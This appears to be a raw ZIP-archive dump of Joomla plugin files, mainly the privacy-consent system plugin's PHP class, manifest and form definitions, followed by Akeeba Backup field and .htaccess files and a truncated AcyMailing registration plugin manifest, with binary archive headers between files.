 * @since  3.9.0
 */
class PlgSystemPrivacyconsent extends CMSPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.9.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Application object.
	 *
	 * @var    \Joomla\CMS\Application\CMSApplication
	 * @since  3.9.0
	 */
	protected $app;

	/**
	 * Database object.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.9.0
	 */
	protected $db;

	/**
	 * Adds additional fields to the user editing form
	 *
	 * @param   Form   $form  The form to be altered.
	 * @param   mixed  $data  The associated data for the form.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	public function onContentPrepareForm(Form $form, $data)
	{
		// Check we are manipulating a valid form - we only display this on user registration form and user profile form.
		$name = $form->getName();

		if (!in_array($name, ['com_users.profile', 'com_users.registration']))
		{
			return true;
		}

		// We only display this if user has not consented before
		if (is_object($data))
		{
			$userId = isset($data->id) ? $data->id : 0;

			if ($userId > 0 && $this->isUserConsented($userId))
			{
				return true;
			}
		}

		// Add the privacy policy fields to the form.
		FormHelper::addFieldPrefix('Joomla\\Plugin\\System\\PrivacyConsent\\Field');
		FormHelper::addFormPath(__DIR__ . '/forms');
		$form->loadFile('privacyconsent');

		$privacyType = $this->params->get('privacy_type', 'article');
		$privacyId   = ($privacyType == 'menu_item') ? $this->getPrivacyItemId() : $this->getPrivacyArticleId();
		$privacynote = $this->params->get('privacy_note');

		// Push the privacy article ID into the privacy field.
		$form->setFieldAttribute('privacy', $privacyType, $privacyId, 'privacyconsent');
		$form->setFieldAttribute('privacy', 'note', $privacynote, 'privacyconsent');
	}

	/**
	 * Method is called before user data is stored in the database
	 *
	 * @param   array    $user   Holds the old user data.
	 * @param   boolean  $isNew  True if a new user is stored.
	 * @param   array    $data   Holds the new user data.
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 * @throws  InvalidArgumentException on missing required data.
	 */
	public function onUserBeforeSave($user, $isNew, $data)
	{
		// // Only check for front-end user creation/update profile
		if ($this->app->isClient('administrator'))
		{
			return true;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		// User already consented before, no need to check it further
		if ($userId > 0 && $this->isUserConsented($userId))
		{
			return true;
		}

		// Check that the privacy is checked if required ie only in registration from frontend.
		$option = $this->app->input->get('option');
		$task   = $this->app->input->post->get('task');
		$form   = $this->app->input->post->get('jform', [], 'array');

		if ($option == 'com_users' && in_array($task, array('registration.register', 'profile.save'))
			&& empty($form['privacyconsent']['privacy']))
		{
			throw new InvalidArgumentException(Text::_('PLG_SYSTEM_PRIVACYCONSENT_FIELD_ERROR'));
		}

		return true;
	}

	/**
	 * Saves user privacy confirmation
	 *
	 * @param   array    $data    entered user data
	 * @param   boolean  $isNew   true if this is a new user
	 * @param   boolean  $result  true if saving the user worked
	 * @param   string   $error   error message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterSave($data, $isNew, $result, $error): void
	{
		// Only create an entry on front-end user creation/update profile
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		// Get the user's ID
		$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

		// If user already consented before, no need to check it further
		if ($userId > 0 && $this->isUserConsented($userId))
		{
			return;
		}

		$option = $this->app->input->get('option');
		$task   = $this->app->input->post->get('task');
		$form   = $this->app->input->post->get('jform', [], 'array');

		if ($option == 'com_users'
			&& in_array($task, ['registration.register', 'profile.save'])
			&& !empty($form['privacyconsent']['privacy']))
		{
			$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

			// Get the user's IP address
			$ip = $this->app->input->server->get('REMOTE_ADDR', '', 'string');

			// Get the user agent string
			$userAgent = $this->app->input->server->get('HTTP_USER_AGENT', '', 'string');

			// Create the user note
			$userNote = (object) [
				'user_id' => $userId,
				'subject' => 'PLG_SYSTEM_PRIVACYCONSENT_SUBJECT',
				'body'    => Text::sprintf('PLG_SYSTEM_PRIVACYCONSENT_BODY', $ip, $userAgent),
				'created' => Factory::getDate()->toSql(),
			];

			try
			{
				$this->db->insertObject('#__privacy_consents', $userNote);
			}
			catch (Exception $e)
			{
				// Do nothing if the save fails
			}

			$userId = ArrayHelper::getValue($data, 'id', 0, 'int');

			$message = [
				'action'      => 'consent',
				'id'          => $userId,
				'title'       => $data['name'],
				'itemlink'    => 'index.php?option=com_users&task=user.edit&id=' . $userId,
				'userid'      => $userId,
				'username'    => $data['username'],
				'accountlink' => 'index.php?option=com_users&task=user.edit&id=' . $userId,
			];

			/** @var ActionlogModel $model */
			$model = $this->app->bootComponent('com_actionlogs')->getMVCFactory()->createModel('Actionlog', 'Administrator');
			$model->addLog([$message], 'PLG_SYSTEM_PRIVACYCONSENT_CONSENT', 'plg_system_privacyconsent', $userId);
		}
	}

	/**
	 * Remove all user privacy consent information for the given user ID
	 *
	 * Method is called after user data is deleted from the database
	 *
	 * @param   array    $user     Holds the user data
	 * @param   boolean  $success  True if user was successfully stored in the database
	 * @param   string   $msg      Message
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onUserAfterDelete($user, $success, $msg): void
	{
		if (!$success)
		{
			return;
		}

		$userId = ArrayHelper::getValue($user, 'id', 0, 'int');

		if ($userId)
		{
			// Remove user's consent
			try
			{
				$query = $this->db->getQuery(true)
					->delete($this->db->quoteName('#__privacy_consents'))
					->where($this->db->quoteName('user_id') . ' = :userid')
					->bind(':userid', $userId, ParameterType::INTEGER);
				$this->db->setQuery($query);
				$this->db->execute();
			}
			catch (Exception $e)
			{
				$this->_subject->setError($e->getMessage());
			}
		}
	}

	/**
	 * If logged in users haven't agreed to privacy consent, redirect them to profile edit page, ask them to agree to
	 * privacy consent before allowing access to any other pages
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRoute()
	{
		// Run this in frontend only
		if ($this->app->isClient('administrator'))
		{
			return;
		}

		$userId = Factory::getUser()->id;

		// Check to see whether user already consented, if not, redirect to user profile page
		if ($userId > 0)
		{
			// If user consented before, no need to check it further
			if ($this->isUserConsented($userId))
			{
				return;
			}

			$option = $this->app->input->getCmd('option');
			$task   = $this->app->input->get('task');
			$view   = $this->app->input->getString('view', '');
			$layout = $this->app->input->getString('layout', '');
			$id     = $this->app->input->getInt('id');

			$privacyArticleId = $this->getPrivacyArticleId();

			/*
			 * If user is already on edit profile screen or view privacy article
			 * or press update/apply button, or logout, do nothing to avoid infinite redirect
			 */
			if ($option == 'com_users' && in_array($task, ['profile.save', 'profile.apply', 'user.logout', 'user.menulogout'])
				|| ($option == 'com_content' && $view == 'article' && $id == $privacyArticleId)
				|| ($option == 'com_users' && $view == 'profile' && $layout == 'edit'))
			{
				return;
			}

			// Redirect to com_users profile edit
			$this->app->enqueueMessage($this->getRedirectMessage(), 'notice');
			$link = 'index.php?option=com_users&view=profile&layout=edit';
			$this->app->redirect(Route::_($link, false));
		}
	}

	/**
	 * Event to specify whether a privacy policy has been published.
	 *
	 * @param   array  &$policy  The privacy policy status data, passed by reference, with keys "published", "editLink" and "articlePublished".
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onPrivacyCheckPrivacyPolicyPublished(&$policy)
	{
		// If another plugin has already indicated a policy is published, we won't change anything here
		if ($policy['published'])
		{
			return;
		}

		$articleId = (int) $this->params->get('privacy_article');

		if (!$articleId)
		{
			return;
		}

		// Check if the article exists in database and is published
		$query = $this->db->getQuery(true)
			->select($this->db->quoteName(['id', 'state']))
			->from($this->db->quoteName('#__content'))
			->where($this->db->quoteName('id') . ' = :id')
			->bind(':id', $articleId, ParameterType::INTEGER);
		$this->db->setQuery($query);

		$article = $this->db->loadObject();

		// Check if the article exists
		if (!$article)
		{
			return;
		}

		// Check if the article is published
		if ($article->state == 1)
		{
			$policy['articlePublished'] = true;
		}

		$policy['published'] = true;
		$policy['editLink']  = Route::_('index.php?option=com_content&task=article.edit&id=' . $articleId);
	}

	/**
	 * Returns the configured redirect message and falls back to the default version.
	 *
	 * @return  string  redirect message
	 *
	 * @since   3.9.0
	 */
	private function getRedirectMessage()
	{
		$messageOnRedirect = trim($this->params->get('messageOnRedirect', ''));

		if (empty($messageOnRedirect))
		{
			return Text::_('PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DEFAULT');
		}

		return $messageOnRedirect;
	}

	/**
	 * Method to check if the given user has consented yet
	 *
	 * @param   integer  $userId  ID of uer to check
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	private function isUserConsented($userId)
	{
		$userId = (int) $userId;
		$db     = $this->db;
		$query  = $db->getQuery(true);

		$query->select('COUNT(*)')
			->from($db->quoteName('#__privacy_consents'))
			->where($db->quoteName('user_id') . ' = :userid')
			->where($db->quoteName('subject') . ' = ' . $db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where($db->quoteName('state') . ' = 1')
			->bind(':userid', $userId, ParameterType::INTEGER);
		$db->setQuery($query);

		return (int) $db->loadResult() > 0;
	}

	/**
	 * Get privacy article ID. If the site is a multilingual website and there is associated article for the
	 * current language, ID of the associated article will be returned
	 *
	 * @return  integer
	 *
	 * @since   3.9.0
	 */
	private function getPrivacyArticleId()
	{
		$privacyArticleId = $this->params->get('privacy_article');

		if ($privacyArticleId > 0 && Associations::isEnabled())
		{
			$privacyAssociated = Associations::getAssociations('com_content', '#__content', 'com_content.item', $privacyArticleId);
			$currentLang = Factory::getLanguage()->getTag();

			if (isset($privacyAssociated[$currentLang]))
			{
				$privacyArticleId = $privacyAssociated[$currentLang]->id;
			}
		}

		return $privacyArticleId;
	}

	/**
	 * Get privacy menu item ID. If the site is a multilingual website and there is associated menu item for the
	 * current language, ID of the associated menu item will be returned.
	 *
	 * @return  integer
	 *
	 * @since   4.0.0
	 */
	private function getPrivacyItemId()
	{
		$itemId = $this->params->get('privacy_menu_item');

		if ($itemId > 0 && Associations::isEnabled())
		{
			$privacyAssociated = Associations::getAssociations('com_menus', '#__menu', 'com_menus.item', $itemId, 'id', '', '');
			$currentLang = Factory::getLanguage()->getTag();

			if (isset($privacyAssociated[$currentLang]))
			{
				$itemId = $privacyAssociated[$currentLang]->id;
			}
		}

		return $itemId;
	}

	/**
	 * The privacy consent expiration check code is triggered after the page has fully rendered.
	 *
	 * @return  void
	 *
	 * @since   3.9.0
	 */
	public function onAfterRender()
	{
		if (!$this->params->get('enabled', 0))
		{
			return;
		}

		$cacheTimeout = (int) $this->params->get('cachetimeout', 30);
		$cacheTimeout = 24 * 3600 * $cacheTimeout;

		// Do we need to run? Compare the last run timestamp stored in the plugin's options with the current
		// timestamp. If the difference is greater than the cache timeout we shall not execute again.
		$now  = time();
		$last = (int) $this->params->get('lastrun', 0);

		if ((abs($now - $last) < $cacheTimeout))
		{
			return;
		}

		// Update last run status
		$this->params->set('lastrun', $now);

		$paramsJson = $this->params->toString('JSON');
		$db         = $this->db;
		$query      = $db->getQuery(true)
			->update($db->quoteName('#__extensions'))
			->set($db->quoteName('params') . ' = :params')
			->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
			->where($db->quoteName('folder') . ' = ' . $db->quote('system'))
			->where($db->quoteName('element') . ' = ' . $db->quote('privacyconsent'))
			->bind(':params', $paramsJson);

		try
		{
			// Lock the tables to prevent multiple plugin executions causing a race condition
			$db->lockTable('#__extensions');
		}
		catch (Exception $e)
		{
			// If we can't lock the tables it's too risky to continue execution
			return;
		}

		try
		{
			// Update the plugin parameters
			$result = $db->setQuery($query)->execute();
			$this->clearCacheGroups(['com_plugins'], [0, 1]);
		}
		catch (Exception $exc)
		{
			// If we failed to execute
			$db->unlockTables();
			$result = false;
		}

		try
		{
			// Unlock the tables after writing
			$db->unlockTables();
		}
		catch (Exception $e)
		{
			// If we can't lock the tables assume we have somehow failed
			$result = false;
		}

		// Abort on failure
		if (!$result)
		{
			return;
		}

		// Delete the expired privacy consents
		$this->invalidateExpiredConsents();

		// Remind for privacy consents near to expire
		$this->remindExpiringConsents();

	}

	/**
	 * Method to send the remind for privacy consents renew
	 *
	 * @return  integer
	 *
	 * @since   3.9.0
	 */
	private function remindExpiringConsents()
	{
		// Load the parameters.
		$expire   = (int) $this->params->get('consentexpiration', 365);
		$remind   = (int) $this->params->get('remind', 30);
		$now      = Factory::getDate()->toSql();
		$period   = '-' . ($expire - $remind);
		$db       = $this->db;
		$query    = $db->getQuery(true);

		$query->select($db->quoteName(['r.id', 'r.user_id', 'u.email']))
			->from($db->quoteName('#__privacy_consents', 'r'))
			->join('LEFT', $db->quoteName('#__users', 'u'), $db->quoteName('u.id') . ' = ' . $db->quoteName('r.user_id'))
			->where($db->quoteName('subject') . ' = ' . $db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where($db->quoteName('remind') . ' = 0')
			->where($query->dateAdd($db->quote($now), $period, 'DAY') . ' > ' . $db->quoteName('created'));

		try
		{
			$users = $db->setQuery($query)->loadObjectList();
		}
		catch (ExecutionFailureException $exception)
		{
			return false;
		}

		$app      = Factory::getApplication();
		$linkMode = $app->get('force_ssl', 0) == 2 ? Route::TLS_FORCE : Route::TLS_IGNORE;

		foreach ($users as $user)
		{
			$token       = ApplicationHelper::getHash(UserHelper::genRandomPassword());
			$hashedToken = UserHelper::hashPassword($token);

			// The mail
			try
			{
				$templateData = [
					'sitename' => $app->get('sitename'),
					'url'      => Uri::root(),
					'tokenurl' => Route::link('site', 'index.php?option=com_privacy&view=remind&remind_token=' . $token, false, $linkMode, true),
					'formurl'  => Route::link('site', 'index.php?option=com_privacy&view=remind', false, $linkMode, true),
					'token'    => $token,
				];

				$mailer = new MailTemplate('plg_system_privacyconsent.request.reminder', $app->getLanguage()->getTag());
				$mailer->addTemplateData($templateData);
				$mailer->addRecipient($user->email);

				$mailResult = $mailer->send();

				if ($mailResult === false)
				{
					return false;
				}

				$userId = (int) $user->id;

				// Update the privacy_consents item to not send the reminder again
				$query->clear()
					->update($db->quoteName('#__privacy_consents'))
					->set($db->quoteName('remind') . ' = 1')
					->set($db->quoteName('token') . ' = :token')
					->where($db->quoteName('id') . ' = :userid')
					->bind(':token', $hashedToken)
					->bind(':userid', $userId, ParameterType::INTEGER);
				$db->setQuery($query);

				try
				{
					$db->execute();
				}
				catch (RuntimeException $e)
				{
					return false;
				}
			}
			catch (MailDisabledException | phpmailerException $exception)
			{
				return false;
			}
		}
	}

	/**
	 * Method to delete the expired privacy consents
	 *
	 * @return  boolean
	 *
	 * @since   3.9.0
	 */
	private function invalidateExpiredConsents()
	{
		// Load the parameters.
		$expire = (int) $this->params->get('consentexpiration', 365);
		$now    = Factory::getDate()->toSql();
		$period = '-' . $expire;
		$db     = $this->db;
		$query  = $db->getQuery(true);

		$query->select($db->quoteName(['id', 'user_id']))
			->from($db->quoteName('#__privacy_consents'))
			->where($query->dateAdd($db->quote($now), $period, 'DAY') . ' > ' . $db->quoteName('created'))
			->where($db->quoteName('subject') . ' = ' . $db->quote('PLG_SYSTEM_PRIVACYCONSENT_SUBJECT'))
			->where($db->quoteName('state') . ' = 1');

		$db->setQuery($query);

		try
		{
			$users = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return false;
		}

		// Do not process further if no expired consents found
		if (empty($users))
		{
			return true;
		}

		// Push a notification to the site's super users
		/** @var MessageModel $messageModel */
		$messageModel = $this->app->bootComponent('com_messages')->getMVCFactory()->createModel('Message', 'Administrator');

		foreach ($users as $user)
		{
			$userId = (int) $user->id;
			$query = $db->getQuery(true)
				->update($db->quoteName('#__privacy_consents'))
				->set($db->quoteName('state') . ' = 0')
				->where($db->quoteName('id') . ' = :userid')
				->bind(':userid', $userId, ParameterType::INTEGER);
			$db->setQuery($query);

			try
			{
				$db->execute();
			}
			catch (RuntimeException $e)
			{
				return false;
			}

			$messageModel->notifySuperUsers(
				Text::_('PLG_SYSTEM_PRIVACYCONSENT_NOTIFICATION_USER_PRIVACY_EXPIRED_SUBJECT'),
				Text::sprintf('PLG_SYSTEM_PRIVACYCONSENT_NOTIFICATION_USER_PRIVACY_EXPIRED_MESSAGE', Factory::getUser($user->user_id)->username)
			);
		}

		return true;
	}
	/**
	 * Clears cache groups. We use it to clear the plugins cache after we update the last run timestamp.
	 *
	 * @param   array  $clearGroups   The cache groups to clean
	 * @param   array  $cacheClients  The cache clients (site, admin) to clean
	 *
	 * @return  void
	 *
	 * @since    3.9.0
	 */
	private function clearCacheGroups(array $clearGroups, array $cacheClients = [0, 1])
	{
		foreach ($clearGroups as $group)
		{
			foreach ($cacheClients as $client_id)
			{
				try
				{
					$options = [
						'defaultgroup' => $group,
						'cachebase'    => $client_id ? JPATH_ADMINISTRATOR . '/cache' :
							Factory::getApplication()->get('cache_path', JPATH_SITE . '/cache'),
					];

					$cache = Cache::getInstance('callback', $options);
					$cache->clean();
				}
				catch (Exception $e)
				{
					// Ignore it
				}
			}
		}
	}
}
PK!� 5�<<!privacyconsent/privacyconsent.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="plugin" group="system" method="upgrade">
	<name>plg_system_privacyconsent</name>
	<author>Joomla! Project</author>
	<creationDate>April 2018</creationDate>
	<copyright>(C) 2018 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.9.0</version>
	<description>PLG_SYSTEM_PRIVACYCONSENT_XML_DESCRIPTION</description>
	<namespace path="src">Joomla\Plugin\System\PrivacyConsent</namespace>
	<files>
		<filename plugin="privacyconsent">privacyconsent.php</filename>
		<folder>forms</folder>
		<folder>src</folder>
	</files>
	<languages>
		<language tag="en-GB">language/en-GB/plg_system_privacyconsent.ini</language>
		<language tag="en-GB">language/en-GB/plg_system_privacyconsent.sys.ini</language>
	</languages>
	<config>
		<fields name="params">
			<fieldset name="basic" addfieldprefix="Joomla\Component\Content\Administrator\Field">
				<field
					name="privacy_note"
					type="textarea"
					label="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DESC"
					hint="PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DEFAULT"
					rows="7"
					cols="20"
					filter="html"
				/>
				<field
					name="privacy_type"
					type="list"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_TYPE_LABEL"
					default="article"
					validate="options"
					>
					<option value="article">PLG_SYSTEM_PRIVACYCONSENT_FIELD_TYPE_ARTICLE</option>
					<option value="menu_item">PLG_SYSTEM_PRIVACYCONSENT_FIELD_TYPE_MENU_ITEM</option>
				</field>
				<field
					name="privacy_article"
					type="modal_article"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ARTICLE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ARTICLE_DESC"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
					showon="privacy_type:article"
				/>
				<field
					addfieldprefix="Joomla\Component\Menus\Administrator\Field"
					name="privacy_menu_item"
					type="modal_menu"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_MENU_ITEM_LABEL"
					select="true"
					new="true"
					edit="true"
					clear="true"
					filter="integer"
					showon="privacy_type:menu_item"
				/>
				<field
					name="messageOnRedirect"
					type="textarea"
					label="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DESC"
					hint="PLG_SYSTEM_PRIVACYCONSENT_REDIRECT_MESSAGE_DEFAULT"
					class="span12"
					rows="7"
					cols="20"
					filter="html"
				/>
			</fieldset>
			<fieldset
				name="expiration"
				label="PLG_SYSTEM_PRIVACYCONSENT_EXPIRATION_FIELDSET_LABEL"
			>
				<field
					name="enabled"
					type="radio"
					label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ENABLED_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_ENABLED_DESC"
					layout="joomla.form.field.radio.switcher"
					default="0"
					filter="integer"
					>
					<option value="0">JNO</option>
					<option value="1">JYES</option>
				</field>
				<field
					name="cachetimeout"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_CACHETIMEOUT_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_CACHETIMEOUT_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>
				<field
					name="consentexpiration"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_CONSENTEXPIRATION_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_CONSENTEXPIRATION_DESC"
					first="180"
					last="720"
					step="30"
					default="360"
					filter="int"
					validate="number"
				/>
				<field
					name="remind"
					type="integer"
					label="PLG_SYSTEM_PRIVACYCONSENT_REMINDBEFORE_LABEL"
					description="PLG_SYSTEM_PRIVACYCONSENT_REMINDBEFORE_DESC"
					first="0"
					last="120"
					step="1"
					default="30"
					filter="int"
					validate="number"
				/>
				<field
					name="lastrun"
					type="hidden"
					default="0"
					filter="integer"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
PK!��ɢ�
�
 privacyconsent/field/privacy.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  System.privacyconsent
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('JPATH_PLATFORM') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

JFormHelper::loadFieldClass('radio');

/**
 * Provides input for privacy
 *
 * @since  3.9.0
 */
class JFormFieldprivacy extends JFormFieldRadio
{
	/**
	 * The form field type.
	 *
	 * @var    string
	 * @since  3.9.0
	 */
	protected $type = 'privacy';

	/**
	 * Method to get the field input markup.
	 *
	 * @return  string   The field input markup.
	 *
	 * @since   3.9.0
	 */
	protected function getInput()
	{
		// Display the message before the field
		echo $this->getRenderer('plugins.system.privacyconsent.message')->render($this->getLayoutData());

		return parent::getInput();
	}

	/**
	 * Method to get the field label markup.
	 *
	 * @return  string  The field label markup.
	 *
	 * @since   3.9.0
	 */
	protected function getLabel()
	{
		if ($this->hidden)
		{
			return '';
		}

		return $this->getRenderer('plugins.system.privacyconsent.label')->render($this->getLayoutData());

	}

	/**
	 * Method to get the data to be passed to the layout for rendering.
	 *
	 * @return  array
	 *
	 * @since   3.9.4
	 */
	protected function getLayoutData()
	{
		$data = parent::getLayoutData();

		$article = false;
		$privacyArticle = $this->element['article'] > 0 ? (int) $this->element['article'] : 0;

		if ($privacyArticle && Factory::getApplication()->isClient('site'))
		{
			$db    = Factory::getDbo();
			$query = $db->getQuery(true)
				->select($db->quoteName(array('id', 'alias', 'catid', 'language')))
				->from($db->quoteName('#__content'))
				->where($db->quoteName('id') . ' = ' . (int) $privacyArticle);
			$db->setQuery($query);
			$article = $db->loadObject();

			JLoader::register('ContentHelperRoute', JPATH_BASE . '/components/com_content/helpers/route.php');

			$slug = $article->alias ? ($article->id . ':' . $article->alias) : $article->id;
			$article->link  = ContentHelperRoute::getArticleRoute($slug, $article->catid, $article->language);
		}

		$extraData = array(
			'privacynote' => !empty($this->element['note']) ? $this->element['note'] : Text::_('PLG_SYSTEM_PRIVACYCONSENT_NOTE_FIELD_DEFAULT'),
			'options' => $this->getOptions(),
			'value'   => (string) $this->value,
			'translateLabel' => $this->translateLabel,
			'translateDescription' => $this->translateDescription,
			'translateHint' => $this->translateHint,
			'privacyArticle' => $privacyArticle,
			'article' => $article,
		);

		return array_merge($data, $extraData);
	}
}
PK!�h=::0privacyconsent/privacyconsent/privacyconsent.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="privacyconsent">
		<fieldset
			name="privacyconsent"
			label="PLG_SYSTEM_PRIVACYCONSENT_LABEL"
		>
			<field
				name="privacy"
				type="privacy"
				label="PLG_SYSTEM_PRIVACYCONSENT_FIELD_LABEL"
				description="PLG_SYSTEM_PRIVACYCONSENT_FIELD_DESC"
				default="0"
				filter="integer"
				required="true"
				>
				<option value="1">PLG_SYSTEM_PRIVACYCONSENT_OPTION_AGREE</option>
				<option value="0">PLG_SYSTEM_PRIVACYCONSENT_OPTION_DO_NOT_AGREE</option>
			</field>
		</fieldset>
	</fields>
</form>
PK!��ѡ��akeebaupdatecheck/.htaccessnu&1i�<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
PK!j�K(backuponupdate/fields/backupprofiles.phpnu&1i�<?php
/**
 * @package    AkeebaBackup
 * @subpackage backuponupdate
 * @copyright  Copyright (c)2009-2016 Nicholas K. Dionysopoulos
 * @license    GNU General Public License version 3, or later
 *
 * @since      3.11.1
 */

defined('_JEXEC') or die();

if (class_exists('JFormFieldBackupprofiles'))
{
	return;
}

/**
 * Our main element class, creating a multi-select list out of an SQL statement
 */
class JFormFieldBackupprofiles extends JFormField
{
	/**
	 * Element name
	 *
	 * @access    protected
	 * @var        string
	 */
	var $_name = 'Backupprofiles';

	function getInput()
	{
		$db = JFactory::getDBO();

		$query = $db->getQuery(true)
			->select(array(
				$db->qn('id'),
				$db->qn('description'),
			))->from($db->qn('#__ak_profiles'));
		$db->setQuery($query);
		$key = 'id';
		$val = 'description';

		$objectList = $db->loadObjectList();

		if (!is_array($objectList))
		{
			$objectList = array();
		}

		return JHTML::_('select.genericlist', $objectList, $this->name, 'class="inputbox"', $key, $val, $this->value, $this->id);
	}
}PK!��ѡ��backuponupdate/.htaccessnu&1i�<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
PK!�#o,,regacymailing/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��)��+�+regacymailing/regacymailing.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>

<extension type="plugin" version="2.5" method="upgrade" group="system">
	<name>AcyMailing : (auto)Subscribe during Joomla registration</name>
	<creationDate>juillet 2016</creationDate>
	<version>5.5.0</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2016 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>Automatically subscribe the user to AcyMailing during the Joomla registration process</description>
	<files>
		<filename plugin="regacymailing">regacymailing.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-regacymailing"/>
		<param name="lists" type="lists" default="None" label="Lists displayed on registration form" description="The following selected lists will be added to your Joomla registration form and will be visible." />
		<param name="listschecked" type="lists" default="All" label="Lists checked by default" description="The selected lists will be checked by default on your registration form." />
		<param name="subscribetext" type="text" size="50" default="" label="Subscribe Caption" description="Text displayed for the subscription field. If you don't specify anything, the default value will be used from the current language file" />
		<param name="displaymode" type="list" default="dispall" label="Display mode" description="Select the way you want AcyMailing to display your lists">
			<option value="dispall">Display one checkbox per list</option>
			<option value="onecheck">Group the lists into one checkbox</option>
			<option value="dropdown">Display the lists in a dropdown</option>
		</param>
		<param name="fieldafter" type="radio" default="password" label="Display the lists after" description="AcyMailing will display the lists after the selected field on your registration form">
			<option value="password">Password</option>
			<option value="email">Email</option>
			<option value="custom">Custom</option>
		</param>
		<param name="fieldaftercustom" default="" type="text" size="10" label="Display the lists after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="customfieldsafter" type="radio" default="email" label="Display the fields after" description="AcyMailing will display the extra fields after the selected field on your registration form">
			<option value="password">Password</option>
			<option value="email">Email</option>
			<option value="custom">Custom</option>
		</param>
		<param name="customfieldsaftercustom" default="" type="text" size="10" label="Display the fields after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="sendnotif" type="radio" default="0" label="Send notification" description="When an user is created, send the Acy notification message">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="forceconf" type="radio" default="0" label="Force double opt-in" description="The registration process may already have its confirmation e-mail... Do you want Acy to send its own confirmation e-mail (so in addition to the Joomla one)?">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="customcss" cols="40" rows="5" type="textarea" default="" label="Custom CSS" description="You can specify here some CSS which will be added to the registration page" />
        <param name="deletebehavior" type="radio" default="0" label="User deletion behavior" description="Choose if the AcyMailing user should also be deleted when the Joomla account is deleted">
            <option value="0">Delete AcyMailing user</option>
            <option value="1">Keep AcyMailing user</option>
        </param>
        <param label="Excluded components" name="excluded" size="50" type="text" value="" description="Acy won't display the subscription lists on the components you exclude with this option. Each value should be separated by a coma, here are the possible values: com_user, com_users, com_alpharegistration, com_ccusers, com_community, com_extendedreg, com_gcontact, com_hikashop, com_jblance, com_jshopping, com_juser, com_mijoshop, com_osemsc, com_redshop, com_tienda, com_virtuemart." />
		<param name="addcategory" type="radio" default="0" label="Display category name" description="Order the lists by category and display their category name above them.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
    </params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
